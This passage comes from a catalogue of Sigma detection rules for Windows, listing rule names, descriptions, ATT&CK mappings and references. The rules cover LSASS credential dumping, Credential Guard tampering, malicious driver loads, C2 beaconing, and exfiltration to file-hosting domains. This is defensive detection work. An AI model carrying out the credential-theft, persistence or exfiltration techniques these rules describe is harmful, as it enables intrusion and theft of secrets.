https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_ssp_added_lsa_config.yml

Potential Credential Dumping Via LSASS SilentProcessExit Technique

Detects changes to the Registry in which a monitor program gets registered to dump the memory of the lsass.exe process

The tag is: *misp-galaxy:sigma-rules="Potential Credential Dumping Via LSASS SilentProcessExit Technique"*

View relationships graph

Potential Credential Dumping Via LSASS SilentProcessExit Technique has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14605. Table References

Links
https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml

Suspicious Camera and Microphone Access

Detects Processes accessing the camera and microphone from suspicious folder

The tag is: *misp-galaxy:sigma-rules="Suspicious Camera and Microphone Access"*

View relationships graph

Suspicious Camera and Microphone Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 14606. Table References

Links
https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_mic_cam_access.yml

Wdigest CredGuard Registry Modification

Detects potential malicious modification of the property value of IsCredGuardEnabled from HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to disable Cred Guard on a system. This is usually used with UseLogonCredential to manipulate the caching credentials.

The tag is: *misp-galaxy:sigma-rules="Wdigest CredGuard Registry Modification"*

View relationships graph

Wdigest CredGuard Registry Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14607. Table References

Links
https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_wdigest_credential_guard.yml

RedMimicry Winnti Playbook Registry Manipulation

Detects actions caused by the RedMimicry Winnti playbook

The tag is: *misp-galaxy:sigma-rules="RedMimicry Winnti Playbook Registry Manipulation"*

View relationships graph

RedMimicry Winnti Playbook Registry Manipulation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14608. Table References

Links
https://redmimicry.com
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_redmimicry_winnti_reg.yml

Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback

Detects enabling of the "AllowAnonymousCallback" registry value, which allows a remote connection between computers that do not have a trust relationship.

The tag is: *misp-galaxy:sigma-rules="Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback"*

View relationships graph

Enable Remote Connection Between Anonymous Computer - AllowAnonymousCallback has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14609. Table References

Links

https://learn.microsoft.com/en-us/windows/win32/wmisdk/connecting-to-wmi-remotely-starting-with-vista
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_set_enable_anonymous_connection.yml

Sticky Key Like Backdoor Usage - Registry

Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen

The tag is: *misp-galaxy:sigma-rules="Sticky Key Like Backdoor Usage - Registry"*

View relationships graph

Sticky Key Like Backdoor Usage - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

Table 14610. Table References

Links
https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/
https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_stickykey_like_backdoor.yml

DLL Load via LSASS

Detects a method to load DLL via LSASS process using an undocumented Registry key

The tag is: *misp-galaxy:sigma-rules="DLL Load via LSASS"*

View relationships graph

DLL Load via LSASS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1547.008" with estimative-language:likelihood-probability="almost-certain"

Table 14611. Table References

Links
https://twitter.com/SBousseaden/status/1183745981189427200
https://blog.xpnsec.com/exploring-mimikatz-part-1/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_lsass_dll_load.yml

NetNTLM Downgrade Attack - Registry

Detects NetNTLM downgrade attack

The tag is: *misp-galaxy:sigma-rules="NetNTLM Downgrade Attack - Registry"*

View relationships graph

NetNTLM Downgrade Attack - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14612. Table References

Links
https://web.archive.org/web/20171113231705/https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks
https://www.ultimatewindowssecurity.com/wiki/page.aspx?spid=NSrpcservers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml

WINEKEY Registry Modification

Detects potential malicious modification of run keys by winekey or team9 backdoor

The tag is: *misp-galaxy:sigma-rules="WINEKEY Registry Modification"*

View relationships graph

WINEKEY Registry Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"

Table 14613. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml

CMSTP Execution Registry Event

Detects various indicators of Microsoft Connection Manager Profile Installer execution

The tag is: *misp-galaxy:sigma-rules="CMSTP Execution Registry Event"*

View relationships graph

CMSTP Execution Registry Event has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"

Table 14614. Table References

Links
https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_cmstp_execution_by_registry.yml

Potential Persistence Via Disk Cleanup Handler - Registry

Detects when an attacker modifies values of the Disk Cleanup Handler in the registry to achieve persistence. The disk cleanup manager is part of the operating system. It displays the dialog box [...] The user has the option of enabling or disabling individual handlers by selecting or clearing their check box in the disk cleanup manager's UI. Although Windows comes with a number of disk cleanup handlers, they aren't designed to handle files produced by other applications. Instead, the disk cleanup manager is designed to be flexible and extensible by enabling any developer to implement and register their own disk cleanup handler. Any developer can extend the available disk cleanup services by implementing and registering a disk cleanup handler.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Disk Cleanup Handler - Registry"*

Table 14615. Table References

Links
https://persistence-info.github.io/Data/diskcleanuphandler.html
https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_disk_cleanup_handler_entry.yml

Vulnerable WinRing0 Driver Load

Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation

The tag is: *misp-galaxy:sigma-rules="Vulnerable WinRing0 Driver Load"*

View relationships graph

Vulnerable WinRing0 Driver Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 14616. Table References

Links
https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/
https://github.com/xmrig/xmrig/tree/master/bin/WinRing0
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_winring0_driver.yml

Driver Load From A Temporary Directory

Detects a driver load from a temporary directory

The tag is: *misp-galaxy:sigma-rules="Driver Load From A Temporary Directory"*

View relationships graph

Driver Load From A Temporary Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 14617. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_susp_temp_use.yml

PUA - Process Hacker Driver Load

Detects driver load of the Process Hacker tool

The tag is: *misp-galaxy:sigma-rules="PUA - Process Hacker Driver Load"*

View relationships graph

PUA - Process Hacker Driver Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

Table 14618. Table References

Links
https://processhacker.sourceforge.io/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_pua_process_hacker.yml

PUA - System Informer Driver Load

Detects driver load of the System Informer tool

The tag is: *misp-galaxy:sigma-rules="PUA - System Informer Driver Load"*

View relationships graph

PUA - System Informer Driver Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

Table 14619. Table References

Links
https://github.com/winsiderss/systeminformer
https://systeminformer.sourceforge.io/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_pua_system_informer.yml

Malicious Driver Load By Name

Detects loading of known malicious drivers via the file name of the drivers.

The tag is: *misp-galaxy:sigma-rules="Malicious Driver Load By Name"*

View relationships graph

Malicious Driver Load By Name has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 14620. Table References

Links
https://loldrivers.io/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_mal_drivers_names.yml

Vulnerable Driver Load

Detects loading of known vulnerable drivers via their hash.

The tag is: *misp-galaxy:sigma-rules="Vulnerable Driver Load"*

View relationships graph

Vulnerable Driver Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 14621. Table References

Links
https://loldrivers.io/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_drivers.yml

Vulnerable Driver Load By Name

Detects the load of known vulnerable drivers via the file name of the drivers.

The tag is: *misp-galaxy:sigma-rules="Vulnerable Driver Load By Name"*

View relationships graph

Vulnerable Driver Load By Name has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 14622. Table References

Links
https://loldrivers.io/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_drivers_names.yml

Malicious Driver Load

Detects loading of known malicious drivers via their hash.

The tag is: *misp-galaxy:sigma-rules="Malicious Driver Load"*

View relationships graph

Malicious Driver Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 14623. Table References

Links
https://loldrivers.io/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_mal_drivers.yml

Vulnerable HackSys Extreme Vulnerable Driver Load

Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors

The tag is: *misp-galaxy:sigma-rules="Vulnerable HackSys Extreme Vulnerable Driver Load"*

View relationships graph

Vulnerable HackSys Extreme Vulnerable Driver Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 14624. Table References

Links
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_hevd_driver.yml

WinDivert Driver Load

Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows

The tag is: *misp-galaxy:sigma-rules="WinDivert Driver Load"*

View relationships graph

WinDivert Driver Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Address Translation Traversal - T1599.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 14625. Table References

Links
https://reqrypt.org/windivert-doc.html
https://rastamouse.me/ntlm-relaying-via-cobalt-strike/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_windivert.yml

Suspicious Cobalt Strike DNS Beaconing - Sysmon

Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons

The tag is: *misp-galaxy:sigma-rules="Suspicious Cobalt Strike DNS Beaconing - Sysmon"*

View relationships graph

Suspicious Cobalt Strike DNS Beaconing - Sysmon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

Table 14626. Table References

Links
https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mal_cobaltstrike.yml

Cloudflared Tunnels Related DNS Requests

Detects DNS requests to Cloudflared tunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

The tag is: *misp-galaxy:sigma-rules="Cloudflared Tunnels Related DNS Requests"*

View relationships graph

Cloudflared Tunnels Related DNS Requests has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 14627. Table References

Links
https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_cloudflared_communication.yml

DNS Query To Common Malware Hosting and Shortener Services

Detects DNS queries to domains commonly used by threat actors to host malware payloads or redirect through URL shorteners. These include platforms like Cloudflare Workers, TryCloudflare, InfinityFree, and URL shorteners such as tinyurl and lihi.cc. Such DNS activity can indicate potential delivery or command-and-control communication attempts.

The tag is: *misp-galaxy:sigma-rules="DNS Query To Common Malware Hosting and Shortener Services"*

View relationships graph

DNS Query To Common Malware Hosting and Shortener Services has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

Table 14628. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/apt41-innovative-tactics
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_common_malware_hosting_services.yml

DNS Query To AzureWebsites.NET By Non-Browser Process

Detects a DNS query by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site.

The tag is: *misp-galaxy:sigma-rules="DNS Query To AzureWebsites.NET By Non-Browser Process"*

View relationships graph

DNS Query To AzureWebsites.NET By Non-Browser Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14629. Table References

Links
https://symantec-enterprise-blogs.security.com/threat-intelligence/harvester-new-apt-attacks-asia
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/
https://www.sentinelone.com/labs/wip26-espionage-threat-actors-abuse-cloud-infrastructure-in-targeted-telco-attacks/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_domain_azurewebsites.yml

AppX Package Installation Attempts Via AppInstaller.EXE

Detects DNS queries made by "AppInstaller.EXE". The AppInstaller is the default handler for the "ms-appinstaller" URI. It attempts to load/install a package from the referenced URL

The tag is: *misp-galaxy:sigma-rules="AppX Package Installation Attempts Via AppInstaller.EXE"*

View relationships graph

AppX Package Installation Attempts Via AppInstaller.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 14630. Table References

Links
https://twitter.com/notwhickey/status/1333900137232523264
https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_appinstaller.yml

Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing

Detects DNS queries containing patterns associated with Kerberos coercion attacks via DNS object spoofing. The pattern "1UWhRCAAAAA..BAAAA" is a base64-encoded signature that corresponds to a marshaled CREDENTIAL_TARGET_INFORMATION structure. Attackers can use this technique to coerce authentication from victim systems to attacker-controlled hosts. It is one of the strong indicators of a Kerberos coercion attack, where adversaries manipulate DNS records to spoof Service Principal Names (SPNs) and redirect authentication requests like CVE-2025-33073.

The tag is: *misp-galaxy:sigma-rules="Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing"*

View relationships graph

Suspicious DNS Query Indicating Kerberos Coercion via DNS Object SPN Spoofing has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

Table 14631. Table References

Links
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_kerberos_coercion_via_dns_object_spoofing.yml

DNS Query Request By QuickAssist.EXE

Detects DNS queries initiated by "QuickAssist.exe" to Microsoft Quick Assist primary endpoint that is used to establish a session.

The tag is: *misp-galaxy:sigma-rules="DNS Query Request By QuickAssist.EXE"*

View relationships graph

DNS Query Request By QuickAssist.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

Table 14632. Table References

Links
https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist
https://x.com/cyb3rops/status/1862406110365245506
https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/
https://www.linkedin.com/posts/kevin-beaumont-security_ive-been-assisting-a-few-orgs-hit-with-successful-activity-7268055739116445701-xxjZ/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_quickassist.yml

Suspicious DNS Query for IP Lookup Service APIs

Detects DNS queries for IP lookup services such as "api.ipify.org" originating from a non browser process.

The tag is: *misp-galaxy:sigma-rules="Suspicious DNS Query for IP Lookup Service APIs"*

View relationships graph

Suspicious DNS Query for IP Lookup Service APIs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Gather Victim Network Information - T1590" with estimative-language:likelihood-probability="almost-certain"

Table 14633. Table References

Links
https://twitter.com/neonprimetime/status/1436376497980428318
https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html
https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_susp_external_ip_lookup.yml

DNS Query by Finger Utility

Detects DNS queries made by the finger utility, which can be abused by threat actors to retrieve remote commands for execution on Windows devices. In one ClickFix malware campaign, adversaries leveraged the finger protocol to fetch commands from a remote server. Since the finger utility is not commonly used in modern Windows environments, its presence already raises suspicion. Investigating such DNS queries can also help identify potential malicious infrastructure used by threat actors for command and control (C2) communication.

The tag is: *misp-galaxy:sigma-rules="DNS Query by Finger Utility"*

View relationships graph

DNS Query by Finger Utility has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 14634. Table References

Links
https://www.bleepingcomputer.com/news/security/decades-old-finger-protocol-abused-in-clickfix-malware-attacks/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_finger.yml

TeamViewer Domain Query By Non-TeamViewer Application

Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)

The tag is: *misp-galaxy:sigma-rules="TeamViewer Domain Query By Non-TeamViewer Application"*

View relationships graph

TeamViewer Domain Query By Non-TeamViewer Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14635. Table References

Links
https://www.teamviewer.com/en-us/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_teamviewer_domain_query_by_uncommon_app.yml

Notepad++ Updater DNS Query to Uncommon Domains

Detects when the Notepad++ updater (gup.exe) makes DNS queries to domains that are not part of the known legitimate update infrastructure. This could indicate potential exploitation of the updater mechanism or suspicious network activity that warrants further investigation.

The tag is: *misp-galaxy:sigma-rules="Notepad++ Updater DNS Query to Uncommon Domains"*

View relationships graph

Notepad++ Updater DNS Query to Uncommon Domains has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"

Table 14636. Table References

Links
https://securelist.com/notepad-supply-chain-attack/118708/
https://www.heise.de/en/news/Notepad-updater-installed-malware-11109726.html
https://notepad-plus-plus.org/news/v889-released/
https://www.validin.com/blog/exploring_notepad_plus_plus_network_indicators/
https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_gup_query_to_uncommon_domains.yml

DNS Server Discovery Via LDAP Query

Detects DNS server discovery via LDAP query requests from uncommon applications

The tag is: *misp-galaxy:sigma-rules="DNS Server Discovery Via LDAP Query"*

View relationships graph

DNS Server Discovery Via LDAP Query has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 14637. Table References

Links
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/7fcdce70-5205-44d6-9c3a-260e616a2f04
https://github.com/redcanaryco/atomic-red-team/blob/980f3f83fd81f37c1ca9c02dccfd1c3d9f9d0841/atomics/T1016/T1016.md#atomic-test-9---dns-server-discovery-using-nslookup
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_dns_server_discovery_via_ldap_query.yml

DNS Query To Devtunnels Domain

Detects DNS query requests to Devtunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

The tag is: *misp-galaxy:sigma-rules="DNS Query To Devtunnels Domain"*

View relationships graph

DNS Query To Devtunnels Domain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 14638. Table References

Links
https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/security
https://blueteamops.medium.com/detecting-dev-tunnels-16f0994dc3e2
https://cydefops.com/devtunnels-unleashed
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_devtunnels_communication.yml

DNS HybridConnectionManager Service Bus

Detects Azure Hybrid Connection Manager services querying the Azure service bus service

The tag is: *misp-galaxy:sigma-rules="DNS HybridConnectionManager Service Bus"*

View relationships graph

DNS HybridConnectionManager Service Bus has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Host Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"

Table 14639. Table References

Links
https://twitter.com/Cyb3rWard0g/status/1381642789369286662
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_hybridconnectionmgr_servicebus.yml

DNS Query Tor .Onion Address - Sysmon

Detects DNS queries to an ".onion" address related to Tor routing networks

The tag is: *misp-galaxy:sigma-rules="DNS Query Tor .Onion Address - Sysmon"*

View relationships graph

DNS Query Tor .Onion Address - Sysmon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

Table 14640. Table References

Links
https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/
https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/ASimDNS/imDNS_TorProxies.yaml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_tor_onion_domain_query.yml

DNS Query To Ufile.io

Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration

The tag is: *misp-galaxy:sigma-rules="DNS Query To Ufile.io"*

View relationships graph

DNS Query To Ufile.io has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 14641. Table References

Links
https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_ufile_io_query.yml

DNS Query for Anonfiles.com Domain - Sysmon

Detects DNS queries for "anonfiles.com", which is an anonymous file upload platform often used for malicious purposes

The tag is: *misp-galaxy:sigma-rules="DNS Query for Anonfiles.com Domain - Sysmon"*

View relationships graph

DNS Query for Anonfiles.com Domain - Sysmon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 14642. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_anonymfiles_com.yml

DNS Query To MEGA Hosting Website

Detects DNS queries for subdomains related to MEGA sharing website

The tag is: *misp-galaxy:sigma-rules="DNS Query To MEGA Hosting Website"*

View relationships graph

DNS Query To MEGA Hosting Website has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"

Table 14643. Table References

Links
https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_mega_nz.yml

DNS Query To Visual Studio Code Tunnels Domain

Detects DNS query requests to Visual Studio Code tunnel domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

The tag is: *misp-galaxy:sigma-rules="DNS Query To Visual Studio Code Tunnels Domain"*

View relationships graph

DNS Query To Visual Studio Code Tunnels Domain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 14644. Table References

Links
https://ipfyx.fr/post/visual-studio-code-tunnel/
https://cydefops.com/vscode-data-exfiltration
https://badoption.eu/blog/2023/01/31/code_c2.html

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_vscode_tunnel_communication.yml

DNS Query Request To OneLaunch Update Service

Detects DNS query requests to "update.onelaunch.com". This domain is associated with the OneLaunch adware application. When the OneLaunch application is installed it will attempt to get updates from this domain.

The tag is: *misp-galaxy:sigma-rules="DNS Query Request To OneLaunch Update Service"*

View relationships graph

DNS Query Request To OneLaunch Update Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 14645. Table References

Links
https://www.malwarebytes.com/blog/detections/pup-optional-onelaunch-silentcf
https://www.myantispyware.com/2020/12/14/how-to-uninstall-onelaunch-browser-removal-guide/
https://malware.guide/browser-hijacker/remove-onelaunch-virus/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/dns_query/dns_query_win_onelaunch_update_service.yml

DNS Query Request By Regsvr32.EXE

Detects DNS queries initiated by "Regsvr32.exe"

The tag is: *misp-galaxy:sigma-rules="DNS Query Request By Regsvr32.EXE"*

View relationships graph

DNS Query Request By Regsvr32.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
